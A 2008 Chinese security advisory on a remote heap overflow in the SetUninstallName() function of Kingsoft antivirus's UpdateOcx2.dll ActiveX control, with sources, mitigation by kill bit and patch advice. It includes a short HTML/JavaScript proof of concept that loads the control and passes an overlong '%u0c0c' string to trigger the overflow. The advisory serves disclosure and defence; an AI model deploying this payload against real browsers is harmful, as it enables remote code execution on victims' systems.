安全研究

安全漏洞
金山毒霸在线升级模块ActiveX控件远程堆溢出漏洞

发布日期:2008-03-10
更新日期:2008-03-11

受影响系统:
Kingsoft Corp UpdateOcx2.dll 2007.12.29.29
描述:
BUGTRAQ  ID: 28172

金山毒霸是中国广泛使用反病毒程序。

金山毒霸产品所安装的在线升级模块实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制用户系统。

在线升级模块(默认路径C:\WINDOWS\system32\KingSoft\KOS\UpdateOcx2.dll)中的SetUninstallName()函数没有正确地验证某些用户参数输入,如果用户受骗访问了恶意网页并向该函数传送了超长参数的话,就可能触发堆溢出,导致执行任意指令。

<*来源:void (void@ph4nt0m.org
  
  链接:http://www.milw0rm.com/exploits/5225
        http://secunia.com/advisories/29204/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<object classid='clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE' id='target1'></object>
<object classid='clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE' id='target2'></object>
<script>
var str1 = "";
while (str1.length < 914)
{ str1 += unescape("%u0c0c");
}
target1.SetUninstallName(str1);
</script>

建议:
临时解决方法:

* 为clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE设置kill bit。

厂商补丁:

Kingsoft Corp
-------------
目前厂商已经发布了升级补丁以修复这个安全问题,请将毒霸升级至最新版本即可修复。

浏览次数:3218
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障